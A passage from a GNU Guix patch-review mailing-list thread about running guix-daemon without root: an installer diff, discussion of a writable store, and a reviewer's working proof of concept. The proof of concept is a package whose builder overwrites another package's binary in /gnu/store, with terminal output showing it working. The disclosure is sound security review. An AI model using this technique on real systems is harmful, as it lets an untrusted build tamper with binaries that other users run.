     tar --extract --strip-components=1 --file "$pkg" -C /
 
     _msg "${INF}Linking the root user's profile"
@@ -414,38 +419,82 @@ sys_delete_store()
     rm -rf ~root/.config/guix
 }
 
+create_account()
+{
+    local user="$1"
+    local group="$2"
+    local supplementary_groups="$3"
+    local comment="$4"
+
+    if id "$user" &>/dev/null; then
+	_msg "${INF}user '$user' is already in the system, reset"
+	usermod -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" "$user"
+    else
+	useradd -g "$group" -G "$supplementary_groups"	\
+		-d /var/empty -s "$(which nologin)"	\
+		-c "$comment" --system "$user"
+	_msg "${PAS}user added <$user>"
+    fi
+}
+
+can_install_unprivileged_daemon()
+{ # Return true if we can install guix-daemon running without privileges.
+    [ "$INIT_SYS" = systemd ] && \
+	grep -q "User=guix-daemon" \
+	     ~root/.config/guix/current/lib/systemd/system/guix-daemon.service \
+	&& ([ ! -f /proc/sys/kernel/unprivileged_userns_clone ] \
+		|| [ "$(cat /proc/sys/kernel/unprivileged_userns_clone)" -eq 1 ])
+}
+
 sys_create_build_user()
 { # Create the group and user accounts for build users.
 
     _debug "--- [ ${FUNCNAME[0]} ] ---"
 
-    if getent group guixbuild > /dev/null; then
-        _msg "${INF}group guixbuild exists"
-    else
-        groupadd --system guixbuild
-        _msg "${PAS}group <guixbuild> created"
-    fi
-
     if getent group kvm > /dev/null; then
         _msg "${INF}group kvm exists and build users will be added to it"
         local KVMGROUP=,kvm
     fi
 
-    for i in $(seq -w 1 10); do
-        if id "guixbuilder${i}" &>/dev/null; then
-            _msg "${INF}user is already in the system, reset"
-            usermod -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i"             \
-                    "guixbuilder${i}";
-        else
-            useradd -g guixbuild -G guixbuild${KVMGROUP}     \
-                    -d /var/empty -s "$(which nologin)" \
-                    -c "Guix build user $i" --system    \
-                    "guixbuilder${i}";
-            _msg "${PAS}user added <guixbuilder${i}>"
-        fi
-    done
+    if [ "$INIT_SYS" = systemd ] && \
+	   grep -q "User=guix-daemon" \
+		~root/.config/guix/current/lib/systemd/system/guix-daemon.service
+    then
+	if getent group guix-daemon > /dev/null; then
+	    _msg "${INF}group guix-daemon exists"
+	else
+	    groupadd --system guix-daemon
+	    _msg "${PAS}group guix-daemon created"
+	fi
+
+	create_account guix-daemon guix-daemon		\
+		       guix-daemon$KVMGROUP		\
+		       "Unprivileged Guix Daemon User"
+
+	# ‘tar xf’ creates root:root files.  Change that.
+	chown -R guix-daemon:guix-daemon	\
+	      /gnu /var/guix
+
+	# The unprivileged cannot create the log directory by itself.
+	mkdir /var/log/guix
+	chown guix-daemon:guix-daemon /var/log/guix
+	chmod 755 /var/log/guix
+    else
+	if getent group guixbuild > /dev/null; then
+            _msg "${INF}group guixbuild exists"
+	else
+            groupadd --system guixbuild
+            _msg "${PAS}group <guixbuild> created"
+	fi
+
+	for i in $(seq -w 1 10); do
+	    create_account "guixbuilder${i}" "guixbuild"	\
+	                   "guixbuild${KVMGROUP}"		\
+			   "Guix build user $i"
+	done
+    fi
 }
 
 sys_delete_build_user()
@@ -460,6 +509,14 @@ sys_delete_build_user()
     if getent group guixbuild &>/dev/null; then
         groupdel -f guixbuild
     fi
+
+    _msg "${INF}remove guix-daemon user"
+    if id guix-daemon &>/dev/null; then
+	userdel -f guix-daemon
+    fi
+    if getent group guix-daemon &>/dev/null; then
+	groupdel -f guix-daemon
+    fi
 }
 
 sys_enable_guix_daemon()
@@ -503,7 +560,14 @@ sys_enable_guix_daemon()
               # Install after guix-daemon.service to avoid a harmless warning.
               # systemd .mount units must be named after the target directory.
               # Here we assume a hard-coded name of /gnu/store.
-              install_unit gnu-store.mount
+	      #
+	      # FIXME: This feature is unavailable when running an
+	      # unprivileged daemon.
+	      if ! grep -q "User=guix-daemon" \
+		   /etc/systemd/system/guix-daemon.service
+	      then
+		  install_unit gnu-store.mount
+	      fi
 
               systemctl daemon-reload &&
                   systemctl start  guix-daemon; } &&
@@ -627,6 +691,10 @@ project's build farms?"; then
 		&& guix archive --authorize < "$key" \
 		&& _msg "${PAS}Authorized public key for $host"
 	done
+	if id guix-daemon &>/dev/null; then
+	    # /etc/guix/acl must be readable by the unprivileged guix-daemon.
+	    chown -R guix-daemon:guix-daemon /etc/guix
+	fi
     else
         _msg "${INF}Skipped authorizing build farm public keys"
     fi
-- 
2.47.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Janneke Nieuwenhuizen <janneke@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 19:22:02 +0000
Resent-Message-ID: <handler.75810.B75810.173774647514241 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Cc: 75810 <at> debbugs.gnu.org
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173774647514241
          (code B ref 75810); Fri, 24 Jan 2025 19:22:02 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 19:21:15 +0000
Received: from localhost ([127.0.0.1]:47089 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbPEx-0003hd-3t
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 14:21:15 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:34204)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <janneke@HIDDEN>) id 1tbPEr-0003hJ-Aq
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 14:21:10 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <janneke@HIDDEN>)
 id 1tbPEV-0000RN-Fp; Fri, 24 Jan 2025 14:20:47 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=Apq6hxtpX8+MuuC+sRbkcgdil4CvMM9W0jHH/AtkjVI=; b=OcwjYbqwT+bz/26U9cwu
 UI7r+kGp2wQ/1imOPVVkE/FdHYJLMepWjrDmrQvbeqd2/LTWxz/zk5VBaE/P4a2Z7DkLmQnQOBDWa
 +9cIaYCvSQNfHi0a8T9kd8/4hPK37InHzcKpruXW0PRr+b/w/KiExQTo9qYDULyj/3UeaXnlNdhs9
 TKCJLLrQ8Qloj39ge2uhcUusigrkfk+6IjSu8thP/PKQvGidigxoihrjZv7YfCKDMyHcNE7YNxHpN
 +bA+SZH9u2Q9odsMFOad+dwnSZWtMK8Qkwf/xtM2cBusrPUgWyDB6j9XZUKOtjTqpC1i+cOU05TJX
 jfrsevEVPBuDIw==;
From: Janneke Nieuwenhuizen <janneke@HIDDEN>
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN> ("Ludovic =?UTF-8?Q?Court=C3=A8s?="'s message
 of "Fri, 24 Jan 2025 18:23:08 +0100")
Organization: AvatarAcademy.nl
References: <cover.1737738362.git.ludo@HIDDEN>
X-Url: http://AvatarAcademy.nl
Date: Fri, 24 Jan 2025 20:20:42 +0100
Message-ID: <87ikq49fxx.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Ludovic Court=C3=A8s writes:

Hello!

> That guix-daemon runs as root is not confidence-inspiring for many.

Certainly, in fact, this and the many build users was [sadly?] the
reason I didn't look further into Nix around 2010 or so...

[..]

> This patch changes guix-daemon so it can run as an unprivileged
> user, using unprivileged user namespaces to still support isolated
> builds.

Yay, awesome!

> There=E2=80=99s a couple of cases where root is/was still necessary:

[..]

> There=E2=80=99s another issue: /gnu/store can no longer be remounted
> read-only (like we do on Guix System and on systemd with
> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon =
would
> be unable to remount it read-write (or at least I couldn=E2=80=99t find
> a way to do that).  Thus =E2=80=98guix-install.sh=E2=80=99 no longer inst=
alls
> =E2=80=98gnu-store.mount=E2=80=99 in that case.  It=E2=80=99s a bit sad t=
o lose that
> so if anyone can think of a way to achieve it, that=E2=80=99d be great.

Hmm.  So this is is about using guix as a package manager on foreign
systems, for now?  Will there be an option for users to choose between
a non-root guix-daemon or a read-only store?

I'm kind of afraid that having a writable /gnu/store, even if it's just
on foreign distributions, is going to cause a whole lot of problems/bug
reports with people changing files in the store.  When I came to guix I
ran it on Debian for a couple of months and I certainly changed files in
the store, even with the read-only mount hurdle, to "get stuff to
build".  Only later to realise that by doing so I was making things much
more difficult for myself.

Hopefully I'm either misunderstanding this patch set, or else too
pessimistict, and maybe other people aren't as stupid as I was when I
first came to Guix?

Greetings,
Janneke

--=20
Janneke Nieuwenhuizen <janneke@HIDDEN>  | GNU LilyPond https://LilyPond.org
Freelance IT https://www.JoyOfSource.com | Avatar=C2=AE https://AvatarAcade=
my.com




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 22:19:01 +0000
Resent-Message-ID: <handler.75810.B75810.173775711126070 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: Janneke Nieuwenhuizen <janneke@HIDDEN>
Cc: 75810 <at> debbugs.gnu.org
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173775711126070
          (code B ref 75810); Fri, 24 Jan 2025 22:19:01 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 22:18:31 +0000
Received: from localhost ([127.0.0.1]:47341 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbS0U-0006mQ-Vu
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 17:18:31 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:54166)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbS0S-0006m7-9o
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 17:18:28 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbS0L-0002mr-VI; Fri, 24 Jan 2025 17:18:22 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:References:In-Reply-To:Subject:To:
 From; bh=mA5ShXo6qYQGH/TtdGwNkoLoxQrZVdArwGgcsnqoirM=; b=aVBOmG7sDco3knuAJPhB
 W7US1MQ9pfko2Ne2Lf4TozJRfLkVa2jGiWkwP7l710pc431vq0UgBCFDCoUbyjqBsZ+dSt2v2kXof
 2TMYphoAgF3WX9SQ63RWgoF+Tr5xEGNi3YI4k1MxlScAHWq+r7mpGyyj68wYXF4Ke/EA6yGwGbo1H
 QXdvHtaHtF322Z8Fss3Jv5Ll7+o+42JXYnvlJCr/nd6itFIdDCk8aXgmMlmDfawolnnMcXXc8Ho2j
 b2UmIyGcGwQFIZs6WVWV270HrXepUjSehumELb235AVhj3oPjQlYgWnezdZ7UzhzVCwxapv05uMVG
 zv5Hf8ubCiF9ow==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
In-Reply-To: <87ikq49fxx.fsf@HIDDEN> (Janneke Nieuwenhuizen's message of
 "Fri, 24 Jan 2025 20:20:42 +0100")
References: <cover.1737738362.git.ludo@HIDDEN> <87ikq49fxx.fsf@HIDDEN>
Date: Fri, 24 Jan 2025 23:18:16 +0100
Message-ID: <87y0yzdffb.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello,

Janneke Nieuwenhuizen <janneke@HIDDEN> skribis:

>> There=E2=80=99s another issue: /gnu/store can no longer be remounted
>> read-only (like we do on Guix System and on systemd with
>> =E2=80=98gnu-store.mount=E2=80=99) because then unprivileged guix-daemon=
 would
>> be unable to remount it read-write (or at least I couldn=E2=80=99t find
>> a way to do that).  Thus =E2=80=98guix-install.sh=E2=80=99 no longer ins=
talls
>> =E2=80=98gnu-store.mount=E2=80=99 in that case.  It=E2=80=99s a bit sad =
to lose that
>> so if anyone can think of a way to achieve it, that=E2=80=99d be great.
>
> Hmm.  So this is is about using guix as a package manager on foreign
> systems, for now?

Yes, but the goal is to eventually make it available (as an option) on
Guix System.

> Will there be an option for users to choose between a non-root
> guix-daemon or a read-only store?

I would prefer not having to choose between the two, but as I wrote, I
don=E2=80=99t know how to make it work.

Currently =E2=80=98makeStoreWritable=E2=80=99 does this:

    if (stat.f_flag & ST_RDONLY) {
        if (unshare(CLONE_NEWNS) =3D=3D -1)
            throw SysError("setting up a private mount namespace");

        if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIN=
D, 0) =3D=3D -1)
            throw SysError(format("remounting %1% writable") % settings.nix=
Store);
    }

But the remount trick only works if you=E2=80=99re actually root.

As non-root, what can guix-daemon do?  It could (bind-)mount the
underlying file system, but how to do that?  (Thinking out loud.)
Perhaps =E2=80=98gnu-store.mount=E2=80=99 could stash the read-write varian=
t aside, say
in /gnu/.rw-store, and guix-daemon would bind-mount that to /gnu/store?

> I'm kind of afraid that having a writable /gnu/store, even if it's just
> on foreign distributions, is going to cause a whole lot of problems/bug
> reports with people changing files in the store.  When I came to guix I
> ran it on Debian for a couple of months and I certainly changed files in
> the store, even with the read-only mount hurdle, to "get stuff to
> build".  Only later to realise that by doing so I was making things much
> more difficult for myself.

Yeah, agreed.

Thanks for your feedback!

Ludo=E2=80=99.




Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
References: <cover.1737738362.git.ludo@HIDDEN>
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
Resent-From: Reepca Russelstein <reepca@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Sun, 26 Jan 2025 00:40:02 +0000
Resent-Message-ID: <handler.75810.B75810.17378519993051 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: ludo@HIDDEN
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.17378519993051
          (code B ref 75810); Sun, 26 Jan 2025 00:40:02 +0000
Received: (at 75810) by debbugs.gnu.org; 26 Jan 2025 00:39:59 +0000
Received: from localhost ([127.0.0.1]:53216 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbqgw-0000n8-G9
	for submit <at> debbugs.gnu.org; Sat, 25 Jan 2025 19:39:59 -0500
Received: from mailout.russelstein.xyz ([2605:6400:20:11e::1]:39146)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <reepca@HIDDEN>)
 id 1tbqgs-0000mn-Ey
 for 75810 <at> debbugs.gnu.org; Sat, 25 Jan 2025 19:39:56 -0500
DKIM-Signature: v=1; a=ed25519-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=ed25519; h=Content-Type:MIME-Version:Message-ID:Date:
 Subject:Cc:To:From:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=wQyG0DCngy20L29OZSejT2Qh3hLwn3VWOUvdKlWjcVg=; b=/6zn4adiQKpucNvSmUJg+pEHzg
 M26VPPAHEVejXfDUlyv1qNLE8HWVUdbqPOJXiKujCdorRGN66Rm1bXjtXdDA==;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=russelstein.xyz; s=rsa; h=Content-Type:MIME-Version:Message-ID:Date:Subject
 :Cc:To:From:Sender:Reply-To:Content-Transfer-Encoding:Content-ID:
 Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
 :Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
 List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=wQyG0DCngy20L29OZSejT2Qh3hLwn3VWOUvdKlWjcVg=; b=OMo1scxXbK08D7aDTzNoFjnoMM
 UTftPxQ1L+EKF0Jn1kF2oJTuNehbBygqlAVMHFd4B9lheCPSWhIvkKakwNhXgcCNA4p7iBDV1yLG2
 WAUADo41MxADlPVH1KGwmVrYHoWoRa6Mo/jzV4ah147nGO/6Y3g9cvUpI76DOPCutuVpLb+3xrAVk
 R5XeygdadPnehzqfnsqs7xPU0XEXlMF/a+UB5mE3rm0L4P/m1i49vfgFoB5/yhbovOObYrmgW9vfx
 1ui1eXO10ndX6BhAc9VV2sjVHJwkMqOrQhJiXvVAdFYZy5LvJz5Sm+hI9UPIlepqkU4JEnCzSKGQ1
 Aecb5CsXlmDlISMufMAaqqCJJmeMbrnDbFqpywgwbOTKAA3ZD3gBQ6sB1ldOxDEJe8sl0uE3sPesB
 2WfDuvbck7OfQRceGFeJ5q13eVl0rtIL32xsN1eNiZYDgkLj1PHTN3rsPpfe3N3IiDdGjAF10cs7I
 Mphb0ydeZRvETGOxqgEr3uY/ruzO0tyWeN4fdhtirdjNHj2PTjncKa13oZJ1w4Dwzh+fBWUAJ/RhG
 ISOS1BndKRNSSDYJni6q5n7ObZ0S3rLo13Ig75M8S4x0QfNNgwFF0P0h4zbivsVypUk2CRIQf2ceH
 kMte+W3slXU7XPf+V680ZSrmy0dZ0VUWoahtC5FmU=;
Received: by russelstein.xyz with esmtpsa
 (TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256)
 (Exim 4.98) (envelope-from <reepca@HIDDEN>)
 id 1tbqgl-000000004KD-2tF4; Sat, 25 Jan 2025 18:39:49 -0600
From: Reepca Russelstein <reepca@HIDDEN>
Date: Sat, 25 Jan 2025 18:39:04 -0600
Message-ID: <87r04qe7dj.fsf@HIDDEN>
User-Agent: Gnus/5.13 (Gnus v5.13)
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="=-=-=";
 micalg=pgp-sha256; protocol="application/pgp-signature"
X-Spam-Score: 0.9
X-Spam-Bar: /
X-Spam-Score-Int: 9
X-Spam-Report: Spam detection software, running on the system "Sanctum",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: > Hello Guix! > > That guix-daemon runs as root is not
 confidence-inspiring
 for many. > Initially, the main reason for running it as root was, in the
 absence > of user namespaces, the fact that builde [...] 
 Content analysis details:   (0.9 points, 5.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 NO_RELAYS              Informational: message was not relayed via SMTP
 0.4 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 0.0 FAKE_REPLY_C           No description available.
X-Spam-Score: 3.0 (+++)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 Content preview: > Hello Guix! > > That guix-daemon runs as root is not
 confidence-inspiring
 for many. > Initially, the main reason for running it as root was, in the
 absence > of user namespaces, the fact that builde [...] 
 Content analysis details:   (3.0 points, 10.0 required)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
 0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
 [URI: russelstein.xyz (xyz)]
 0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
 1.7 FROM_SUSPICIOUS_NTLD_FP From abused NTLD
 0.0 FAKE_REPLY_C           No description available.
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: 1.2 (+)
X-Spam-Report: Spam detection software, running on the system "debbugs.gnu.org",
 has NOT identified this incoming email as spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 the administrator of that system for details.
 
 Content preview:  > Hello Guix! > > That guix-daemon runs as root is not confidence-inspiring
    for many. > Initially, the main reason for running it as root was, in the
    absence > of user namespaces, the fact that builde [...] 
 
 Content analysis details:   (1.2 points, 10.0 required)
 
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
  0.0 SPF_HELO_NONE          SPF: HELO does not publish an SPF Record
  0.7 PDS_OTHER_BAD_TLD      Untrustworthy TLDs
                             [URI: russelstein.xyz (xyz)]
  0.5 FROM_SUSPICIOUS_NTLD   From abused NTLD
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  1.0 BULK_RE_SUSP_NTLD      Precedence bulk and RE: from a suspicious TLD
  0.0 FAKE_REPLY_C           No description available.
 -1.0 MAILING_LIST_MULTI     Multiple indicators imply a widely-seen list
                             manager

--=-=-=
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable


> Hello Guix!
>=20
> That guix-daemon runs as root is not confidence-inspiring for many.
> Initially, the main reason for running it as root was, in the absence
> of user namespaces, the fact that builders would be started under one
> of the build user accounts, which only root can do.  Now that
> unprivileged user namespaces are almost ubiquitous (even on HPC
> clusters), this is no longer a good reason.

Without the build users, we're relying entirely on kernel-specific
sandboxing mechanisms to protect the system from rogue builders.  It's
probably (?) not impossible to make it work, but, as with every time
security mechanisms are changed, it does require some very careful
thought.

For example, consider the following:

=2D-8<---------------cut here---------------start------------->8---
(use-modules (guix)
             (gnu)
             (guix build-system trivial))

(define-public sneakysneaky
  (package
    (name "sneakysneaky")
    (version "0")
    (source #f)
    (build-system trivial-build-system)
    (arguments
     (list
      #:builder
      #~(let ((hello (string-append #$(this-package-input "hello")
                                    "/bin/hello")))
          (chmod (dirname hello) #o775)
          (chmod hello #o775)
          (delete-file hello)
          (call-with-output-file hello
            (lambda (port)
              (chmod port #o775)
              (display "#!/bin/sh
echo \"GOOOOOD BYYEEEEEE\""
                       port)))
          (mkdir #$output))))
    (inputs (list (@ (gnu packages base) hello)))
    (home-page "")
    (synopsis "")
    (description "")
    (license #f)))

sneakysneaky
=2D-8<---------------cut here---------------end--------------->8---


If we save this as /tmp/mal-test.scm on a debian VM with these patches
applied, we can see the following:


=2D-8<---------------cut here---------------start------------->8---
user@debian:~$ guix build --no-grafts hello
/gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1
user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin=
/hello
Hello, world!
user@debian:~$ guix build --no-grafts -f /tmp/mal-test.scm
substitute: looking for substitutes on 'https://bordeaux.guix.gnu.org'... 1=
00.0%
substitute: looking for substitutes on 'https://ci.guix.gnu.org'... 100.0%
The following derivation will be built:
  /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv
building /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky-0.drv...
successfully built /gnu/store/p15g92hfs7254pqfa3kss63dprw2clis-sneakysneaky=
-0.drv
/gnu/store/y1jzqg30cgkydl8kymjsh99zqgzh1yj1-sneakysneaky-0
user@debian:~$ /gnu/store/8bjy9g0cssjrw9ljz2r8ww1sma95isfj-hello-2.12.1/bin=
/hello
GOOOOOD BYYEEEEEE
user@debian:~$=20
=2D-8<---------------cut here---------------end--------------->8---

This happens because the daemon bind-mounts store items into the
container, so it's the same underlying inode both inside and out of the
container.  The build runs as the same user as the store owner, so
there's nothing stopping it from freely modifying its input store items
and any of their transitive references.

I suppose we could try to perform these bind-mounts with the MS_RDONLY
flag, but we would need some way to ensure that the builder can't just
remount them read-write (I haven't yet looked into how to do this).  The
nuclear option, of course, would be to simply do a full copy of the
store items in question instead of a bind-mount.

> This patch changes guix-daemon so it can run as an unprivileged
> user, using unprivileged user namespaces to still support isolated
> builds.  There=E2=80=99s a couple of cases where root is/was still necess=
ary:
>=20
>   1. To create /var/guix/profiles/per-user/$USER and chown it
>      as $USER (see CVE-2019-18192).
>=20
>   2. To chown /tmp/guix-build-* when using =E2=80=98--keep-failed=E2=80=
=99.
>=20
> Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
> what this patch series does on distros using systemd.  (For some
> reason CAP_CHOWN had to be added to the set of =E2=80=9Cambient capabilit=
ies=E2=80=9D,
> which are inherited by child processes; this is why there=E2=80=99s a pat=
ch
> to drop ambient capabilities in build processes.)
>=20
> On Guix System (not implemented here), we could address (1) by
> creating /var/guix/profiles/per-user/$USER upfront for all the
> user accounts.  We could leave (2) unaddressed (so failed build
> directories would be owned by guix-daemon:guix-daemon) or we=E2=80=99d
> have to pass CAP_CHOWN as well.

The automatic chown of /tmp/guix-build-* has always been a litte strange
considering that multiple users could attempt the same doomed-to-failure
derivation build at the same time, and it comes down to a race to see
who gets the build (and therefore the build directory).  This does raise
the question, though, of how these failed build directories would get
deleted, aside from rebooting the system.  Perhaps the garbage collector
could be modified to get rid of them?  In which case it may be best to
make it so that the failed build directories are automatically added to
